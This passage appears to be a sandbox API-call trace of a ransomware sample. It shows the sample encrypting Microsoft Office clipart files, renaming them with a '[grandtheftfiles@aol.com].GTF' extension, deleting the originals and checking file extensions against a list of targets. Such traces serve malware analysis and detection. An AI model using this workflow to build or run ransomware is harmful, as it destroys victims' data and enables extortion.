	[0080.930] SetEndOfFile (hFile=0x378) returned 1
	[0080.931] CloseHandle (hObject=0x378) returned 1
	[0080.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1
	[0080.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.932] lstrlenW (lpString=".doc") returned 4
	[0080.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.932] lstrlenW (lpString=".docx") returned 5
	[0080.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.932] lstrlenW (lpString=".pdf") returned 4
	[0080.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.932] lstrlenW (lpString=".xls") returned 4
	[0080.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.932] lstrlenW (lpString=".xlsx") returned 5
	[0080.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.932] lstrlenW (lpString=".ppt") returned 4
	[0080.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.932] lstrlenW (lpString=".zip") returned 4
	[0080.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.932] lstrlenW (lpString=".rar") returned 4
	[0080.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.932] lstrlenW (lpString=".bz2") returned 4
	[0080.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.932] lstrlenW (lpString=".7z") returned 3
	[0080.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.932] lstrlenW (lpString=".dbf") returned 4
	[0080.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.932] lstrlenW (lpString=".1cd") returned 4
	[0080.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.932] lstrlenW (lpString=".jpg") returned 4
	[0080.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.933] lstrlenW (lpString=".doc") returned 4
	[0080.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.933] lstrlenW (lpString=".docx") returned 5
	[0080.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.933] lstrlenW (lpString=".pdf") returned 4
	[0080.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.933] lstrlenW (lpString=".xls") returned 4
	[0080.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.933] lstrlenW (lpString=".xlsx") returned 5
	[0080.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.933] lstrlenW (lpString=".ppt") returned 4
	[0080.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.933] lstrlenW (lpString=".zip") returned 4
	[0080.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.933] lstrlenW (lpString=".rar") returned 4
	[0080.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.933] lstrlenW (lpString=".bz2") returned 4
	[0080.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.933] lstrlenW (lpString=".7z") returned 3
	[0080.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.933] lstrlenW (lpString=".dbf") returned 4
	[0080.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.933] lstrlenW (lpString=".1cd") returned 4
	[0080.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68
	[0080.933] lstrlenW (lpString=".jpg") returned 4
	[0080.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.934] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.934] lstrlenW (lpString="AN01184_.WMF") returned 12
	[0080.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.934] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3746) returned 1
	[0080.934] CloseHandle (hObject=0x378) returned 1
	[0080.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220
	[0080.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.934] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.934] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0080.935] GetLastError () returned 0x0
	[0080.935] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xea2, lpOverlapped=0x0) returned 1
	[0080.936] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0080.937] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.937] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.937] SetEndOfFile (hFile=0x380) returned 1
	[0080.937] CloseHandle (hObject=0x380) returned 1
	[0080.938] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.938] SetEndOfFile (hFile=0x378) returned 1
	[0080.939] CloseHandle (hObject=0x378) returned 1
	[0080.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1
	[0080.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.939] lstrlenW (lpString=".doc") returned 4
	[0080.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.939] lstrlenW (lpString=".docx") returned 5
	[0080.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.940] lstrlenW (lpString=".pdf") returned 4
	[0080.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.940] lstrlenW (lpString=".xls") returned 4
	[0080.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.940] lstrlenW (lpString=".xlsx") returned 5
	[0080.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.940] lstrlenW (lpString=".ppt") returned 4
	[0080.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.940] lstrlenW (lpString=".zip") returned 4
	[0080.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.940] lstrlenW (lpString=".rar") returned 4
	[0080.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.940] lstrlenW (lpString=".bz2") returned 4
	[0080.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.940] lstrlenW (lpString=".7z") returned 3
	[0080.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.940] lstrlenW (lpString=".dbf") returned 4
	[0080.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.940] lstrlenW (lpString=".1cd") returned 4
	[0080.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.940] lstrlenW (lpString=".jpg") returned 4
	[0080.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.940] lstrlenW (lpString=".doc") returned 4
	[0080.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.940] lstrlenW (lpString=".docx") returned 5
	[0080.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.940] lstrlenW (lpString=".pdf") returned 4
	[0080.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.941] lstrlenW (lpString=".xls") returned 4
	[0080.941] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.941] lstrlenW (lpString=".xlsx") returned 5
	[0080.941] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.941] lstrlenW (lpString=".ppt") returned 4
	[0080.941] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.941] lstrlenW (lpString=".zip") returned 4
	[0080.941] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.941] lstrlenW (lpString=".rar") returned 4
	[0080.941] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.941] lstrlenW (lpString=".bz2") returned 4
	[0080.941] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.941] lstrlenW (lpString=".7z") returned 3
	[0080.941] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.941] lstrlenW (lpString=".dbf") returned 4
	[0080.941] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.941] lstrlenW (lpString=".1cd") returned 4
	[0080.941] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68
	[0080.941] lstrlenW (lpString=".jpg") returned 4
	[0080.941] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.941] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.941] lstrlenW (lpString="AN01216_.WMF") returned 12
	[0080.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.942] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=5836) returned 1
	[0080.942] CloseHandle (hObject=0x378) returned 1
	[0080.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220
	[0080.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.942] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.942] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0080.942] GetLastError () returned 0x0
	[0080.942] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x16cc, lpOverlapped=0x0) returned 1
	[0080.944] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x16d0, lpOverlapped=0x0) returned 1
	[0080.945] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.945] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.945] SetEndOfFile (hFile=0x380) returned 1
	[0080.945] CloseHandle (hObject=0x380) returned 1
	[0080.946] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.946] SetEndOfFile (hFile=0x378) returned 1
	[0080.947] CloseHandle (hObject=0x378) returned 1
	[0080.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1
	[0080.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.947] lstrlenW (lpString=".doc") returned 4
	[0080.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.947] lstrlenW (lpString=".docx") returned 5
	[0080.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.947] lstrlenW (lpString=".pdf") returned 4
	[0080.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.947] lstrlenW (lpString=".xls") returned 4
	[0080.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.948] lstrlenW (lpString=".xlsx") returned 5
	[0080.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.948] lstrlenW (lpString=".ppt") returned 4
	[0080.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.948] lstrlenW (lpString=".zip") returned 4
	[0080.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.948] lstrlenW (lpString=".rar") returned 4
	[0080.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.948] lstrlenW (lpString=".bz2") returned 4
	[0080.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.948] lstrlenW (lpString=".7z") returned 3
	[0080.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.948] lstrlenW (lpString=".dbf") returned 4
	[0080.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.948] lstrlenW (lpString=".1cd") returned 4
	[0080.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.948] lstrlenW (lpString=".jpg") returned 4
	[0080.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.948] lstrlenW (lpString=".doc") returned 4
	[0080.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.948] lstrlenW (lpString=".docx") returned 5
	[0080.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.948] lstrlenW (lpString=".pdf") returned 4
	[0080.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.948] lstrlenW (lpString=".xls") returned 4
	[0080.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.948] lstrlenW (lpString=".xlsx") returned 5
	[0080.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.948] lstrlenW (lpString=".ppt") returned 4
	[0080.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.949] lstrlenW (lpString=".zip") returned 4
	[0080.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.949] lstrlenW (lpString=".rar") returned 4
	[0080.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.949] lstrlenW (lpString=".bz2") returned 4
	[0080.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.949] lstrlenW (lpString=".7z") returned 3
	[0080.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.949] lstrlenW (lpString=".dbf") returned 4
	[0080.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.949] lstrlenW (lpString=".1cd") returned 4
	[0080.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0080.949] lstrlenW (lpString=".jpg") returned 4
	[0080.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.949] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.949] lstrlenW (lpString="AN01218_.WMF") returned 12
	[0080.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.949] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3012) returned 1
	[0080.949] CloseHandle (hObject=0x378) returned 1
	[0080.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220
	[0080.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.950] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.950] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0080.950] GetLastError () returned 0x0
	[0080.950] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xbc4, lpOverlapped=0x0) returned 1
	[0081.507] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0081.508] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.508] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0081.508] SetEndOfFile (hFile=0x380) returned 1
	[0081.508] CloseHandle (hObject=0x380) returned 1
